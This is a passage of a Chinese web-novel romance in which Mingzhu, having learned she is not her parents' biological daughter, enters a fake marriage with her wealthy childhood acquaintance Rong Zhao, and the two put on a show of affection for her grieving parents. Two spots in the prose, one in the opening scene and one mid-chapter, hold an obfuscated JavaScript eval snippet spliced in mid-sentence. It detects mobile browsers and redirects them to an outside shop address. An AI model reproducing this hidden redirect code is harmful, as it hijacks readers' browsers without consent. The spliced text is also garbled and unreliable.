容曌身体微微后靠,接着缓缓地将书叩在桌上,整个身体都向明珠转了过来,她双腿交叠轻翘,手搭在膝盖上轻点,琥珀色的清冷目光透过镜片落在明珠脸上,安静又幽深地端详明珠。
明珠渐渐感受异样,像猎物被猎人盯着似的,莫名地汗毛竖起,想躲避视线。
容曌忽然向明珠抬起了手,莹润的指腹逐渐靠近明珠粉白的脸颊,携着香气与轻风。
明珠眼睛逐渐睁大,屏住呼吸。
容曌带着香气的指尖却是碰到了明珠的发丝,像拨动琴弦那样拨动着明珠的发丝。
明珠眼睫连连眨动。
容曌拿下来一根短短的粉线,可能是明珠睡衣上的,容曌放在指腹间捻着,而她安静又幽深的视线始终停留在明珠脸上,缓缓启唇:“明珠,你很漂亮,从小到大,你是我见过的最漂亮的人。”
明珠不禁心跳一停,吞咽口水,容曌怎么突然开始夸她的美貌了?
“是,是吗?”明珠怀疑。
容曌好看的唇瓣一开一合:“你呢,明珠,你觉得你是吗?”
明珠渐渐回了神,她挑起眉,又起范儿地挺起了胸,优雅撩发,自信扬笑:“当然。”
容曌小幅度地歪了一下头,唇角也小幅度地勾了一下:“所以放心,不用管别的事,继续保持你的漂亮就好。”
明珠:“?”
逐渐明白过来的明珠:“!”
她正担心为什么容曌选她不选别人、为什么容曌邀她进来后又请她喝酒又叫她吃东西呢,原来容曌选择她当她结婚对象是因为她漂亮!
容曌认可她的漂亮,觉得她拿得出手,因此容曌对她没有要求,只要她继续保持漂亮就行了,她什么都不用学,什么都不用做!
还好秦家给她生了漂亮脸蛋,让她有资本当米虫。
明
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708783|189222||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
珠欣喜点头表示明白了,保持漂亮而已,正中她最擅长的领域,她也很认可容曌的高眼光高标准。
接着她又想试探容曌容忍她的底线,试探说:“可是容容,保持漂亮是需要那个的。”
“需要哪个?”容曌喝了口茶,转过来看她。
明珠:“就那个啊!”
茶水润得容曌唇很红,挑眉看着明珠。
明珠“哎呀”一声,往前凑着说:“就美容啊,做脸啊,做头发啊,买衣服什么的。”明珠越说越心虚,声音越小。
“……当然了,我也不是为了我自己,我可不贪财啊,我都是为了你,所以看你,我无所谓的。”明珠越说越理直气壮,声音越大。
容曌忽然伸手,掌心轻荡:“车费一百先还我?”
明珠:“……”暗暗握拳忍住,讽刺什么的,她能扛住。
容曌瞥了一眼明珠抖动的唇角和藏起来的手,收手翻了一页书:“放心,少不了给白小姐的好处费,领证后会给你办一张我信用卡的副卡。”
明珠:“!”
她就知道容曌是大好人!她选对人了!
“容姐姐明天我们几点去领证?”明珠迫不及待。
“十点。”
“明天周三,你上午不上班了?”
“下午再去。”
明珠立即一口干了剩下的红酒,站起来说:“那我去睡了,今晚早点睡,明早去领证。”
容曌自始至终云淡风轻,又翻一页书:“不着急,还想喝酒的话,再喝点。”
“不用了,再喝就难受了,现在刚刚好,我去睡了,”明珠怕自己喝着喝着就过量了,心里不舒服不说,明天还容易起不来,“容容晚安。”
容曌:“晚安,记得刷牙。”
“知道啦。”
明珠快步走向旋梯那边,走两步回头:“容容你平时晚上都几点睡觉?你要不要也回去睡觉?都快十一点了。”
她觉得容曌是个早睡早起的人。
容曌斜了她一眼:“我不是老年人。”
明珠笑出来:“我没说你是老年人,我就是随口问问。”
容曌:“你先睡。”
“好吧。”
明珠继续往楼梯那边走,走得红发如火飞扬。
但明珠走了十来个台阶后,想了想,又倒了回来,倒回到容曌面前。
容曌没抬头:“怎么了。”
明珠坐在容曌对面的茶几上,试探地问:“容曌,你要和我假结婚的事,和我的家庭背景有关系吗?我的意思是,如果我不是白家的女儿,不会影响你的决定,是吗?”
容曌缓了几秒呼吸,抬头,继续以欣赏的目光端详明珠:“不会,只和我们认识了很多年有关,和你的漂亮有关。”
明珠放了心,那她这就不算骗婚了:“最后一个问题,容容,关于离婚的事,如果你想离婚,或是我想离婚……虽然目前我觉得感情方面我不是恋爱脑,不会喜欢任何人,我只爱我自己,但万一我遇到我喜欢的人了,八匹马拉不回地恋爱脑了,我又做不来婚内出轨那样没人品的事……容容,我们能离婚的,是吧?”
容曌垂着眼看书,文字却没有入目:“当然,随时可以离婚,离婚自由。”
明珠就又有了问题:“那要是我们明天刚领证,你后天就遇到了你喜欢的人,你非要和我离婚的话,那我……”
“三年为约,”容曌抬眸,“三年内我不会离婚,不会出轨,你除了婚内出轨一切随意,如何?”
明珠诧异又难掩满意,表情做作地说:“啊?我随意?那,那这怪不好,怪不公平的……”
容曌:“没关系,这三年我本也着重事业,尊重你的选择。”
明珠忍不住笑出了声,忙收住笑,然后就觉出不对劲了,容曌嘴上说尊重她的选择,其实是因为和她离婚后,容曌还可以找新的陪容曌演戏的人是吧?
那可不行,她可不能便宜了后来人,坚决不能离婚。
明珠再凑近容曌,期待地问:“容容,那要是三年期满了,我们还相处愉快的话,我们还可以续约不?”
容曌呼吸微热:“当然。”
“那下次我要续五年。”
“随你。”
容容也太好了!
然而明珠又有问题了,紧张问:“容曌你对我这么好,不会是因为你……暗恋我吧?”
容曌神色微怔,随后冷淡抬眼:“白明珠,你要是不愿意,我可以找别人。”
明珠心里一松,就是这个味儿!嫌弃她事多的味儿!
明珠终于彻底放了心,直起腰,撩发弯眸笑,笑得没心没肺,又假意乖巧:“愿意,我愿意,明天见,容容姐姐。”
4. 打配合
许是容曌家床不够软、身边又多了一个容曌的缘故,平时喝了酒就会睡得很沉的明珠,这晚失眠了,翻来覆去睡不着。
最后一次看床头时间是凌晨四点,她数容曌的呼吸已经数不清是第几个一千次了,终于在反复思考睡觉时纹丝不动的容曌像什么,像NPC、像机器人、像只猫、像个枕头、像块芝士的漫无目的想象里,慢慢睡去。
明珠呼吸渐沉后,容曌睁开眼看向明珠,微光中,明珠眼角到鬓角有一道湿润的泪痕,湿到了发丝。
明珠眼睛在不安地颤动,似是在做梦,眼角的眼睫那里逐渐堆积出了泪,泪珠越积越多,终于不堪重负地滚落下来,没入发丝。
容曌侧着身,久久地看着只敢在梦中哭泣的明珠,一晚没睡。
·
明珠睡前摆弄了床头钟,定了一个九点十分的闹钟,闹钟准时响起,她困得掀起被子捂住自己的脑袋。
昨晚失眠都是因为容曌的呼吸声!
管家阿姨进来叫明珠的时候,就看到雪白绣金丝的被子在床上团成了一个团,像有小动物在雪地里建了一个雪窝。
那雪窝突然动了一下,飞快地变幻了个新造型,还有一道小动物似的“呜”声从里面传出来。
管家阿姨微笑:“明珠小姐,该起床了,蒙被子睡觉会缺氧的,容易头疼。”
明珠立即在被子里扒拉头发、擦眼糊糊,弄好后钻出被子露出脑袋,眯眼笑:“管姨早上好,几点了?”
“九点十五分,小姐。”
还好,只赖床了五分钟,不会迟到。
明珠掀开被子下床,优雅地拉伸双臂,扭着腰问:“容容在做什么?”
管家微笑微滞,轻道:“您母亲来了,容小姐在陪您母亲说话……地上凉,小姐,您穿拖鞋。”
明珠全身僵住,似站在崖边只容她双足可站的尖石上,无法移动。
“我妈怎么来了,是容曌让我妈来的吗?”明珠齿缝发寒。
她记得初一那天容曌刚和她说完“白同学,你裙子太短了”,第二天她就被爸妈要求换校服裤子上学,容曌特别爱告状。
管家蹲身把拖鞋放到明珠面前:“小姐,穿拖鞋,寒气容易入侵身体……似乎是昨晚您母亲找您,从送您过来的出租车司机那里打听到的,您母亲早上八点多就过来等你了。容小姐和您母亲都不想打扰你休息,就没让我过来叫你,直到刚刚您父亲也过来了,容小姐才让我上来叫您。”
·
一楼客厅,容曌正在为白叔邵姨泡茶,灯笼袖的衬衫,手腕处收得紧,纤柔腕上一只翡翠玉镯,抬腕优雅。
“因为我母亲只喜欢喝茉莉花茶,我和我爸就养成了只喝茉莉花茶的习惯,家里就只有这一种茶招待叔叔阿姨,叔叔阿姨尝尝。”
容曌记得爸妈提过白叔喜欢喝龙井,适才解释了这一句。
她在白叔进来后,也适时转了话题,没有再和邵姨聊明珠的事,邵姨刚刚已经有些失态了,邵姨离开后可能会觉得欠妥,再见面时会不自然。
邵思眠:“明月真是客气了,我和你叔叔过来打扰你,还麻烦你给我们泡茶,这已经很周到了。”
明月是容曌的小名。
容曌浅笑:“阿姨和叔叔若是喜欢,今年新茶上市后,我给你们送一些。”
邵思眠平时不喝茶,她看向白兆林,白兆林点头品尝。
白兆林知道容家喜欢喝茉莉花茶,他还托人给容家送过九窨茶,九窨茶不好买,制茶师傅要把每一次窨制环节都把控精准,才能让九次窨制味道完美无瑕,不过他没尝过,他习惯喝龙井。
现下白兆林尝了,茶味确实很淡,但花香和茶香竟融合得非常融洽,格外清甜香浓,下意识道:“好喝,明珠尝了吗,她喜欢吗,她要是喜欢的话,老婆,我们……”
说着,白兆林对视到妻子突然变红的眼眶,倏地停了话,他眼眶也迅速变红,低头喝茶掩饰。
邵思眠侧头擦泪,强颜欢笑地转过来品茶:“确实好喝,听说喜欢喝茉莉花茶的都形容这味道是‘冰糖甜’,明珠她喜欢吃甜的,肯定也喜欢这茶,那就麻烦明月给我留一些吧。”
邵思眠说着,眼泪已经忍不住成串地掉,咬着唇偏头哽咽,白兆林连忙抽着纸巾为妻子擦泪。
容曌微微垂了眼,说句“好,我记着了”,拿起手机说打个电话走开,给两人平静情绪的时间。
约过十分钟容曌回来,见两人情绪已经稳定了一些,继续问起白叔公司如何之类的话。
“爸,妈。”
楼梯那边忽然传来轻快的脚步声和笑声:“你们怎么过来了?”
三人同时抬头,看到了笑得明媚的人。
明珠穿着昨晚的睡衣,红发披肩,眉眼含笑,和在家里一样随意。
明珠的皮肤是暖白皮,刚起床的双颊透着粉,眨着一双明亮黑润的眼睛像从光里走来。
她走到容曌身侧坐下,直接挽住了容曌的胳膊:“爸,妈,你们吃早餐了吗?”
白邵夫妇俩都惊了脸,盯着明珠和容曌的亲密手臂看,这是怎么回事?
“哦,对了,”明珠解释,“爸,妈,我和容容已经领证结婚了,我本想昨天就告诉你们的,但是容容说她这两天上班,非要周末再告诉你们,没想到你们今天突然来找我了。”
说着,明珠故意掐了一下容曌的脸:“你看,对我爸妈失礼了吧。”
容曌:“……”
容曌淡淡地抬手握住明珠的手腕,拿开,放在自己身后。
无论是真是假,她都不适应在长辈面前做这些看似亲密的行为。
明珠明白了,容曌的意思是让她搂容曌的腰,明珠就顺势搂住容曌的腰,意外容曌腰部的手感竟这样软,明珠边搂边摸边对容曌笑,笑得很有些讨好之意。
容曌:“……”
邵思眠惊讶地看向容曌:“明月?你刚刚也没……”
“抱歉,爸,妈,因为我不知道明珠是怎么想的,我就没有主动提。”容曌握住搂她腰的明珠的手,拇指在明珠手上轻轻摩挲,边对两位长辈抱歉微笑。
突然被叫爸妈的夫妻俩和突然听到容曌叫她爸妈为爸妈的明珠:“……”
容曌适时起身给他们空间:“爸,妈,明珠还没吃早餐,我去给她热一下早餐,一会儿你们陪她一起吃点吧,你们先聊。”
她刚迈开一步,忽被明珠握紧了手腕,明珠仰头看她,眼睛逐渐泛红,鼻子也红了。
明珠仰脸灿笑,双眸却含着泪光,求似的说:“不着急,容容,再陪我坐一会儿,好不好?”
容曌垂眸看了明珠几秒,忽然弯了腰,双手捧起明珠的脸。
明珠漆黑的眼珠像突然受惊了的猫定住,瞳孔快速收缩。
接着容曌用力揉搓明珠的脸,揉搓得明珠的眼泪都没了,明珠嗷嗷喊着让容曌松手:“你干嘛搓我脸!”
容曌松手坐回到沙发上,漫不经心地递茶给明珠喝:“看你圆脸可爱。”
明珠急了:“容明月你才是圆脸!”
白邵夫妻都看笑了,笑得欣慰,也笑得眼酸。
明珠捧着茶和容曌吵了两句嘴,终于看向爸妈:“爸,妈,其实我和容容已经恋爱两年了,我一直瞒着你们,是因为我总担心容容甩了我,容容她眼光高,我再完美都可能会被容容挑剔,失恋怪丢人的,我才一直没有说。”
容曌:“……”
明珠竭力忍耐已经快到边缘的情绪,紧搂着容曌的手臂说:“不过现在我和容容已经领证结婚了,我们有属于我们自己的小家了,所以你们就专心去忙你们的事吧,不用再担心我,容容会照顾好我的。容容,你会吗?”
明珠心疼得厉害,搂到双手颤抖。
容曌抬手按住了明珠的手背,轻拍两下,抬头对明珠爸妈说:“我会照顾好明珠,爸,妈,请你们放心。”
邵思眠哭进了白兆林怀里,白兆林搂住妻子的肩膀,对两个孩子笑,流着泪笑,一声声地说好,好,好。
白兆林和邵思眠没有留下吃早餐,因为他们情绪实在不稳定,两人走时给明珠留下了车钥匙家钥匙信用卡银行卡,让明珠留着用,明珠收下了,但在送妈上车的时候,明珠悄无声息地放回到了妈包里。
送走爸妈回到客厅,明珠直奔一楼客卫,关上门,门外听不到里面的半丝声音,一切寂静。
容曌白身临立候在外间,窗外照进来的斜光落在容曌的琥珀色眼睛里,那里有些晶莹的光点,似光似泪,分辨不清。
·
白兆林和邵思眠今天过来没有带司机,白兆林开车,邵思眠坐副驾,夫妻俩都很疲惫,从昨晚到现在几乎都没有睡过。
昨晚本是司机小赵带明珠回家去取邵思眠的衣物用品,白兆林也提醒小赵,记得取完回来进电梯前给他打个电话,没成想明珠说要去超市买东西,让小赵去停车,明珠就先上了楼。
白兆林接到小赵电话后,恰巧护士也进来送东西,白兆林立即有了不好的预感,邵思眠翻包又看到明珠留下的东西,夫妻俩就发了疯地到处找明珠,最后通过出租车司机的“红头发,白风衣,容光天镜”这些线索找到容曌这里。
“明珠和明月……”邵思眠轻叹。
白兆林也叹了口气。
他们疼爱了明珠这么多年,还能不知道明珠说的话是真是假吗。
首先他们都不知道明珠喜欢的是女生,他们一直以为明珠是异性恋,当然,明珠若是喜欢女孩子,他们也支持她。
其次女孩子恋爱的状态,他们能不清楚吗,他们从没在明珠脸上看到过期待与对方见面、看不到对方就想念、甜蜜热恋的神情。
他们只是想顺着他们女儿的心思,好让他们的女儿不再那么难过。
白兆林安慰道:“容曌那孩子也算是我们从小看到大的了,容曌是个好孩子,各方面都无可挑剔,既然她说了会照顾好明珠,她就会做到,这一两个月,明珠先住在容曌家,放心吧,过些日子,我们安抚好了意宁,就把明珠接回去,别哭了。”
“嗯……”
邵思眠从包里拿纸巾擦泪,忽然看到了明珠放回她包里的东西。
“明珠,明珠这是再也不愿意接受我们的东西了……”
邵思眠这几天已经哭了不知道多少回,眼睛肿得睁眼都难受,此时又流了泪,捂着嘴哭。
白兆林长长地流泪呼气。
他明白明珠的心情,既然不是他们的亲生女儿,她就无法再理所当然地接受他们的一切。
“现在对明珠还是太突然了,过一阵子,过一阵子就会好的。”
“真的会好吗?”
“一定会好的。”
白兆林安慰妻子,也安慰自己:“我们会把意宁和明珠都接回家的。”
夫妻俩很久都不再说话。
白兆林侧头擦眼泪,紧紧握住妻子的手。
直到邵思眠接了一通父母那边的电话,夫妻俩才暂时放下明珠这边的心情,商量去南俣市接意宁的事。
意宁和明珠是同一天生日,都是二十二岁,意宁现在正读大四,在校写论文,离不开学校,只能他们去看意宁。
·
容光天镜。
容曌叮嘱家里阿姨,以后不再给任何人开门,尤其不要给她爸妈容先生纪女士开门。
明珠爸妈都找了过来,说明她爸妈那边也一定已经得到消息知道明珠在她这里
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708784|189222||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
刚叮嘱完,容曌就收到了一条群消息。
纪悦女士:「@明月,仙女宝贝,听说明珠去你那儿玩啦?」
容曌淡淡地回:「在开会。」
发完屏蔽群消息,打开勿扰模式,不再看,纪女士的爱强势又直接,不然可能一会儿就找过来带明珠出去玩。
容曌取了沾水的洗脸巾擦客卫门口的绿植天堂鸟,叶似芭蕉叶,长得繁盛,身高与容曌相同,容曌擦拭着上面的灰尘,时而看向客卫的门。
里面大多数时间都悄无声息,但隔一段时间就会传来水声。
过了约半小时,容曌已经擦好天堂鸟,客卫门终于被推开,明珠已恢复如常,看到容曌身姿如玉的背影,立即扑了过去:“容容。”
她扑得太重,撞得容曌往前迈了两步。
好娇啊,这是明珠的第一反应,容曌的身体好像即将融化的白色巧克力,抱着好软。
“今天谢谢你配合我,容容你真好。”
多亏容曌,爸妈才放心她,放心地去找他们的亲生女儿。
她理解爸妈的心情,很理解,只是她还做不到看着爸妈对他们亲生女儿好的那一幕,无关嫉妒,只是难受,她会很难受。
明珠的脸贴着容曌的头发,身体隔着容曌的薄薄衬衫感受到了容曌暖洋洋的皮肤温度,感激地说:“容容,我今天欠了你一份人情,我记在心里,以后有需要我的地方,你尽管说,我一定全力配合。”
爸妈能通过司机找过来,说明她家里的事可能已经在外面传遍了,她二叔是个藏不住事的人,尤其酒后什么都往外说,二婶也一样,麻将打得尽兴了,连她和二叔两口子的事都往外抖落,今天爸妈的眼睛又那么红,所以容曌大概也已经知道了。
她和容曌还没领证,容曌本不必配合她说谎,但容曌今日为了她和她爸妈说了谎。
容曌已经知道她不是白家千金了,又说谎配合她,说明容曌一定有非常非常需要她的地方。
从昨晚到现在,她欠了容曌的人情,她一定全力配合还上这份人情,她说到做到,无论容曌让她做什么,她都会答应。
容曌垂眼看抱在自己腹前的明珠的双手,很细很柔的一双手,刚刚在浴室里应该抿着嘴抽噎着擦了很多湿凉的眼泪,她很想轻拍明珠的手背安抚明珠。
可掌心在即将落下去时,容曌改了方向,落在明珠软嫩的手腕上,扣住。
定了两秒,容曌打开明珠手腕:“掐我脸和造谣我挑剔你、怕我甩了你的时候,怎么没见你觉得欠我人情?”
胡说八道理亏的明珠:“……”
明珠刚被拽开手腕,一秒就迈到容曌身前再次抱住了容曌手臂胁肩谄笑:“我的错,但演戏嘛,相敬如宾就不对劲了,是不是?”
容曌:“……”所以掐她脸和造她谣就对劲了吗。
容曌抬眼看明珠,明珠洗过脸,头发和衣裳都被溅湿了些,应是用了客卫的水乳擦了脸,脸很柔润,但眼睛很红很肿:“……不用再提什么人情不人情的,我们是合作关系,本就应该互相照应。”
好不容易说想还人情煽情结果人家还不领情的明珠:“……”
真是坏气氛。
容曌打量明珠:“还好吗?”
明珠在强颜欢笑,她看得出来。
明珠笑容微僵:“你都知道了?”
容曌:“知道了一些。”
明珠心忽然提了起来:“那你没怪我吧?我不是白家的女儿,我……”
“不会,”容曌温声打断她,“不是说了,只和我们认识了很多年有关,和你的漂亮有关。”
明珠把心放回了肚子里。
看容曌的目光似乎还有些担心她同情她,明珠笑说:“没事啦,我接受能力很强的,睡两觉就向前看啦。”
她知道容曌对她的这份关心来自于容曌的善,换作任何从小就认识的人,突然知道自己父母不是亲生的,容曌都会关心,关心的不是她白明珠,关心的是一个可怜的人。
“为什么来找我?”容曌忽然问。
几乎在问出口的同时,容曌就意识到自己多余问这个问题。
果然,明珠思考都没思考就回答:“你有钱呀,除了姜姜,我最信任的人就是你和贺贺了,不过贺贺家没有你家有钱,贺贺自己也没有你有钱,所以我就没有任何犹豫地来找你了,谁知道这么巧,刚好你需要一个结婚对象,我真是太幸运了。”
幸运吗。
当做是幸运也好。
无论是她还是她。
容曌把冰袋放到明珠手心,徐声说着:“你和叔叔阿姨都需要时间接受这件事,也需要空间,这段时间你就安心地住着,我会让我爸妈多和他们通电话,放心吧。”
明珠正要感动哽咽,忽然紧张:“你要告诉叔叔阿姨吗?”
容曌:“就算我不告诉他们,他们也很难不知道吧,他们不会对你有成见……怕见公婆?”
明珠:“……那当然没有,丑媳妇才怕,我又不丑,而且没人会不喜欢我。”
容曌:“……”
明珠:“?”
两人四目相对,容曌是狐狸眼琥珀色眸子,明珠是桃花眼黑亮的眸子,对视间似乎有什么情绪在暗暗流动。
明珠心跳忽然快了两分,容曌怎么没反驳?
明珠紧张:“容曌你不会,你不会也……”
容曌转身往餐厅走:“白明珠,领证已经迟到了,去吃饭敷眼睛,消了肿去领证。”
明珠表情瞬间放松了,不然吓她一跳!
情绪来得快去得也快的明珠屁颠颠儿跟上容曌搂住容曌手臂:“你不喜欢我可太好了,真有点饿了,容容你吃了吗?”
5. 第 5 章
吃过早餐后,两人就要去领证了。
但明珠照镜子看自己,冰敷过的双眼皮还是有些肿,不好看。
想到人生第一次拍结婚证照片就顶着这么丑的双眼皮,明珠心情更不好了。
明珠在容曌的衣帽间里选白衬衫,越选心情越差,容曌这人的衣帽间像商场里的陈设,白色的衬衫有一排不同料子和款式的,再之后是由浅到深的排列,井然规整无趣。
但是容曌还有两柜子很性感的衣裳,看得明珠直咋舌,她就知道,容曌外表看着高冷,私下里还有另一面,就像昨晚那件吊带睡裙,里面连件内衣都不穿。
明珠选了一件料子偏挺括的白衬衫穿上,下面是睡裤,整理好衬衫领口,去阳台找容曌:“容容,一会儿领证我穿这件白衬衫可以吗?”
容曌正在赏院子里的樱花,养了一年的樱花树,只为三月份的这短暂盛开,但此时满院漂亮的柔粉色,一切值得。
听到身后的清脆声音,容曌沐着阳光回头,拂开被风吹乱的发丝,视线微顿。
明珠看出来容曌这同情又无奈的眼神不是什么好眼神:“我眼睛是不是还是很肿啊?”
容曌沉吟片刻,罢了:“今天不去领证了,眼睛消肿了再领吧。”
明珠顿时紧张,上前抱住明珠的手臂:“容容你是不想和我结婚了吗,你要反悔了吗?”
容曌垂眼看明珠抱她的手,明珠怎么就像只黏人的狗狗似的呢,不管她从明珠手里抽了多少回手臂,明珠也做过保证,却还是会搂上来。
容曌淡淡看她:“很怕我反悔?”
明珠苦巴巴点头:“怕,你也知道,我现在……没有家了。”
没有家了。
容曌垂下眼,满院的樱花都弥漫出了苦味。
“放心,不反悔,”容曌缓缓抽出手臂,“结婚证是要给人看的,你眼睛肿着,总归不合适,不差这两天。”
明珠放心了,虽然她和容曌一定会离婚,但第一次拍结婚证照片呢,对她还是很重要的。
“容容你真是大好人!以后你二婚的时候,我一定给你送一份我最用心的超大的大礼!”
“……”
容曌转头看向外面的樱花树,双腮缓缓地咬了咬,磨了磨:“我谢谢你。”
明珠扬眉笑着走到容曌身边,和容曌一起看樱花,恰好此时有一群鸟儿在樱花树上飞过,蓝天白云,金光闪闪。
·
今天不领证了,容曌就准备去上班了。
上班前容曌问明珠下午想宅在家里还是想出去散心,明珠眼睛还肿着,说要留在家里敷眼睛,容曌交代管姨照顾好明珠,管姨答应让容曌放心。
容曌走后,明珠睡了一个午觉,醒来后又饿了。
她已经认识容曌家的做饭阿姨有两位,一位姓汤,汤阿姨做甜点汤类很好吃,一位姓范,范阿姨做各地口味的饭菜很好吃,两位阿姨换班做饭,今天在家的是汤阿姨。
明珠下楼时,汤阿姨正在餐厅准备晚餐,听到声响回头,热情问:“明珠小姐是要吃点什么吗?”
明珠笑着走进去:“有点饿,又不想吃正餐,阿姨有什么下午茶吃吗?”
汤阿姨好似好久没给人准备下午茶了似的,格外热情:“有华夫饼,明珠小姐愿意等的话,我还可以给小姐做小姐想吃的别的甜点。茶的话,容小姐平时在家喜欢喝茉莉花茶,明珠小姐要尝尝吗?还是喜欢喝别的红茶绿茶?”
明珠嫌弃容曌的品位,这种嫌弃就类似于假设她本来也喜欢喝茉莉花茶,听说容曌也喜欢喝,她就不喜欢喝了,还顺便想拉踩容曌的喝茶品位,喝什么加工茶,即便她知道容曌喝的茉莉花茶是九窨收藏级别的。
明珠:“不想喝茶,想喝咖啡,阿姨会做咖啡吗?”
汤阿姨立即说:“当然,各类咖啡都会做,手冲,冰美式,拿铁,明珠小姐要喝什么?”
说着,汤阿姨弯腰打开下面的咖啡柜,里面冲泡咖啡的用具和咖啡豆椰乳等都齐全。
明珠意外:“容容平时也喝咖啡吗?”
汤阿姨:“容小姐平时不喝咖啡,但如果有客人来,客人喜欢喝咖啡的话,就要用咖啡招待客人。”
不过家里还没来过喜欢喝咖啡的客人,容小姐只是让她一直备着。
不对,这么说也不准确,贺禅小姐来的时候说过喜欢喝咖啡,但容小姐都没让她给贺禅小姐做过咖啡,容小姐只给贺禅小姐喝白开水。
那明珠就不客气了,弯腰看了看说:“我想喝冰手冲,冲好后多加点冰块,再倒点椰乳。”
汤阿姨眼睛一亮,太好了,终于有人对她提出要求了,连连点头答应:“好好,明珠小姐请稍……”
“小姐,”忽然两人身后传来一道声音,管家阿姨双手叠在身前微笑,“脾胃喜温,要不还是喝温的吧?”
明珠:“……”
汤阿姨:“……”真是的,又来了!
明珠现在还没和容曌领证结婚,还得继续夹着小尾巴,就扬起假笑点头说:“好,听管家阿姨的,喝温的,谢谢汤阿姨。”
很快,明珠喝上了生椰温手冲,可是没冰的好喝,勉强喝了,又吃了两块华夫饼饱了,开始琢磨想去一趟明珠国际旅行社的事。
可她连打车的钱都没有,去不了,想什么都是白想,就不想了。
明珠懒懒地窝在沙发里冰敷看电视,电视里播着地球的纪录片,景色画面拍得很好,但她无心观赏,心空空的。
扫地机器人扭了过来,明珠无聊地踢了一脚,机器人退开后又扭过来,明珠闲闲地再踢一脚。
管家阿姨悄悄拍下明珠无聊的画面发给容小姐:「小姐,明珠小姐好像有点无聊……」
容小姐回复了:「你确定她无聊?」
视频画面里的明珠穿着容曌的衬衫睡裤,挽着裤腿光着脚,红色长发随意地绾着圆丸子顶在脑顶,绾得太随意,碎发掉下来好几缕,跟机器人打着架,表情生动,眉飞色舞,抬高了眉毛笑着。
管家:「是无聊吧,不无聊能和机器人打起来吗……」
容曌又看了一遍视频。
这一遍,画面有点像一只手欠的猫咪非要跟老老实实采蜜的小蜜蜂在打架。
容曌:「她除了看着无聊,有露出难过或是不开心的表情吗?」
管家:「目前没有。」
明珠无聊和扫地机器人打架也是笑着的。
容曌稍微放了心:「嗯,多夸她漂亮,她心情就会很好。」
管家轻轻失笑,原来明珠小姐爱美喜欢被夸。
管家:「好的,我知道了。」
容曌:「家里的门铃系统都关了吧?」
管家:「小姐放心,都关了,不会有人来打扰明珠小姐。」
容曌:「嗯。」
·
容科集团汽车部CTO办公室,容曌看向不请自来的贺禅。
“有事?”
“当然有事啊,我刚刚去你家了,怎么按门铃都没反应,我就更确定明珠就在你家了,你和管姨说一声,把大门给我开开,我去接明珠去我家。”
说着,贺禅把带来的东西往容曌桌上一放。
“……什么东西。”
“牛肉干酸奶,明珠上学时候不就喜欢吃这些东西吗,一下课就吃吃吃,都是我家阿姨做的,我给小朋友上课时候奖励小朋友的,还有给明珠带的玩具,得用吃的玩的勾明珠嘛,明珠发生了这么大的事,我带她去我家散散心,在你家肯定不行。”
“……”
如何不行。
贺禅坐下趴在袋子上,很懂很理解地说:“昨晚我说要去酒吧找明珠,你没说明珠在你家,我知道肯定是明珠不让你说的是吧?明珠昨晚去找你,肯定是她觉得谁都会认为她不会去找你,她认为你那儿最安全,所以她才勉为其难地去找你的是吧?昨晚白叔绍姨的电话都打我这儿来了,他们肯定没打给你吧?明珠可真聪明。”
“……”
勉为其难。
不见得。
明明她是第一顺位。
容曌漫不经心地拿起文件:“我一会儿还要开会,就不送你了。”
贺禅像是一点没听出容曌在驱客,她夸赞:“你看,你嘴多严,难怪明珠和你不熟,还去找你。”
贺禅一脸热情:“真的,明珠住你那儿肯定不自在,你让管姨跟明珠说一声,让明珠去我那儿住,明珠要是想住的话,住我那儿三年五年都行,我不差她那一张嘴,而且我俩能玩到一起去,你和明珠也玩不到一起,明珠天天对着你这张冷脸,明珠可能还闹心。”
“……”
贺禅操心又热心:“我带明珠去喝酒,她要是心里实在难受的话,我让人介绍几个帅哥给她认识,谈谈恋爱就好了,她不喜欢帅哥的话,我就让人给她介绍美女谈恋爱。”
“……”
容曌冷淡起身:“我去开会。”
贺禅只好跟着起身,下意识把一袋子东西拿了起来。
容曌:“放下。”
贺禅:“?”
“你要帮忙给明珠?”
她上学的时候让容曌帮忙把她带的东西送给明珠,容曌可从来都是拒绝的,而且容曌还会冷冷地看她。
所以她才会觉得明珠在容曌家肯定不行。
此时此刻,容曌又在冷冷地看她了。
贺禅困惑地放下:“那你记得给明珠啊,你别吃也别动,都是给明珠的。”
“……走不走。”
“走。”
容曌赶贺禅到电梯口,忽道:“明珠和姜姜的关系最好,不如你问问姜姜知不知道明珠在哪。”
“哦,对了,你可能联系不上姜姜,姜姜可能在和谁专心谈恋爱吧。”
贺禅:“……”
好扎心。
贺禅哑了声,闭了嘴,满脑袋都是姜姜,像霜打了的茄子似的气郁耷脑地走了。
·
明珠被管家阿姨夸了好几回漂亮,明珠心情好了许多,就有点想出门了。
她本就是个闲不住的人。
虽然她现在身无分文,但容曌有车啊,院子里停着车,车库里应该也有车,她可以开车出去遛遛弯。
但平白无故要用容曌的车,她也不好意思开口,得找个合适的由头,最好能帮容曌做些什么事。
放下冰袋,明珠撒娇地笑着问管家:“管姨,你帮我问问容容,有没有什么文件之类的需要我帮忙送过去呗?或者她饿不饿,我去给她送点吃的?”
管桐有些疑惑,明珠小姐怎么不自己问呢?
明珠看出管姨的犹豫:“其实我有
